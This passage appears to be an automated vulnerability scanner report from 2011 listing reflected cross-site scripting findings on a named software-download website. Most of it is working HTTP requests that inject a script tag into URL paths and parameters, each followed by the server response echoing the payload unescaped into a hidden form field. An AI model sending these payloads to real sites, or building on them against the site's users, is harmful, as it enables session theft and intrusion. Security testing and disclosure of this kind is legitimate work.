GET /screenshot/2a650"><script>alert(1)</script>4eac85a3ec4 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:48:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/2a650"><script>alert(1)</script>4eac85a3ec4" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a8f05"><script>alert(1)</script>fc2166241bc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshota8f05"><script>alert(1)</script>fc2166241bc/paragon-extbrowser-download-xwigzbic.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:48:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21327
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshota8f05"><script>alert(1)</script>fc2166241bc/paragon-extbrowser-download-xwigzbic.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b00c"><script>alert(1)</script>9b9d0e5a949 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/7b00c"><script>alert(1)</script>9b9d0e5a949 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/7b00c"><script>alert(1)</script>9b9d0e5a949" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9be78"><script>alert(1)</script>474c7483424 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot9be78"><script>alert(1)</script>474c7483424/rss-reader-download-avwkinlm.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:43 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21319
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot9be78"><script>alert(1)</script>474c7483424/rss-reader-download-avwkinlm.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 38eaf"><script>alert(1)</script>7f5c302d424 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/38eaf"><script>alert(1)</script>7f5c302d424 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:50:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/38eaf"><script>alert(1)</script>7f5c302d424" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c38c6"><script>alert(1)</script>235a4421e5d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshotc38c6"><script>alert(1)</script>235a4421e5d/trollkiller-for-firefox-download-ydeukbjf.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21332
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshotc38c6"><script>alert(1)</script>235a4421e5d/trollkiller-for-firefox-download-ydeukbjf.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71a72"><script>alert(1)</script>406b3b0c339 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/71a72"><script>alert(1)</script>406b3b0c339 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:50:27 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/71a72"><script>alert(1)</script>406b3b0c339" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 40d9b"><script>alert(1)</script>2df60bcd894 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot40d9b"><script>alert(1)</script>2df60bcd894/usenext-download-rizftkeg.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:48:36 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21316
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot40d9b"><script>alert(1)</script>2df60bcd894/usenext-download-rizftkeg.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7d23"><script>alert(1)</script>db205ea7bef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/e7d23"><script>alert(1)</script>db205ea7bef HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/e7d23"><script>alert(1)</script>db205ea7bef" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload da589"><script>alert(1)</script>1e658102b94 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshotda589"><script>alert(1)</script>1e658102b94/web-forum-reader-download-ivzgszuq.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:48:56 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21325
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshotda589"><script>alert(1)</script>1e658102b94/web-forum-reader-download-ivzgszuq.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ae28f"><script>alert(1)</script>c6d61f2298f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/ae28f"><script>alert(1)</script>c6d61f2298f HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:52 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/ae28f"><script>alert(1)</script>c6d61f2298f" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b4e7"><script>alert(1)</script>f2581632af was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot3b4e7"><script>alert(1)</script>f2581632af/web-forum-reader-download-sqifmyiy.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:02 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21324
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot3b4e7"><script>alert(1)</script>f2581632af/web-forum-reader-download-sqifmyiy.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4f2b"><script>alert(1)</script>da38c854bdf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /screenshot/e4f2b"><script>alert(1)</script>da38c854bdf HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:49:29 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/screenshot/e4f2b"><script>alert(1)</script>da38c854bdf" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1990"><script>alert(1)</script>2069cb8ec45 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /software-advanced.htmlb1990"><script>alert(1)</script>2069cb8ec45 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:26:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21297
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/software-advanced.htmlb1990"><script>alert(1)</script>2069cb8ec45" /> ...[SNIP]...
The value of the category_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9983e"><script>alert(1)</script>7a9a68e5cfe was submitted in the category_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /software-advanced.html?subcategory_id=44&category_id=39983e"><script>alert(1)</script>7a9a68e5cfe&s=d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:25:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30847
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/software-advanced.html?subcategory_id=44&category_id=39983e"><script>alert(1)</script>7a9a68e5cfe&s=d" /> ...[SNIP]...
4.1844. http://www.x64bitdownload.com/software-advanced.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/software-advanced.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 90432"><script>alert(1)</script>6a90f02313b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /software-advanced.html?90432"><script>alert(1)</script>6a90f02313b=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:23:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33963
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/software-advanced.html?90432"><script>alert(1)</script>6a90f02313b=1" /> ...[SNIP]...
The value of the s request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c3de"><script>alert(1)</script>2b0419dd3c8 was submitted in the s parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /software-advanced.html?subcategory_id=44&category_id=3&s=d5c3de"><script>alert(1)</script>2b0419dd3c8 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:42 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/software-advanced.html?subcategory_id=44&category_id=3&s=d5c3de"><script>alert(1)</script>2b0419dd3c8" /> ...[SNIP]...
The value of the subcategory_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f24a6"><script>alert(1)</script>bc5aeab94eb was submitted in the subcategory_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /software-advanced.html?subcategory_id=44f24a6"><script>alert(1)</script>bc5aeab94eb&category_id=3&s=d HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:24:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 30960
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/software-advanced.html?subcategory_id=44f24a6"><script>alert(1)</script>bc5aeab94eb&category_id=3&s=d" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd8c4"><script>alert(1)</script>c00cfdcf2d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit-pad-file.htmlbd8c4"><script>alert(1)</script>c00cfdcf2d9 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:29:06 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21295
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/submit-pad-file.htmlbd8c4"><script>alert(1)</script>c00cfdcf2d9" /> ...[SNIP]...
4.1848. http://www.x64bitdownload.com/submit-pad-file.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/submit-pad-file.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1427b"><script>alert(1)</script>c7b5b0e2601 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /submit-pad-file.html?1427b"><script>alert(1)</script>c7b5b0e2601=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:26:12 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 25661
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/submit-pad-file.html?1427b"><script>alert(1)</script>c7b5b0e2601=1" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1567d"><script>alert(1)</script>357966335fd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tellafriend.html1567d"><script>alert(1)</script>357966335fd HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 404 Not Found Date: Mon, 24 Jan 2011 15:24:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 21291
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/tellafriend.html1567d"><script>alert(1)</script>357966335fd" /> ...[SNIP]...
4.1850. http://www.x64bitdownload.com/tellafriend.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.x64bitdownload.com
Path:
/tellafriend.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb5d8"><script>alert(1)</script>439cf2505d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tellafriend.html?bb5d8"><script>alert(1)</script>439cf2505d6=1 HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:22:11 GMT Server: Apache/2.2.9 (Fedora) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 24264
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content- ...[SNIP]... <input type="hidden" name="retpage" value="/tellafriend.html?bb5d8"><script>alert(1)</script>439cf2505d6=1" /> ...[SNIP]...
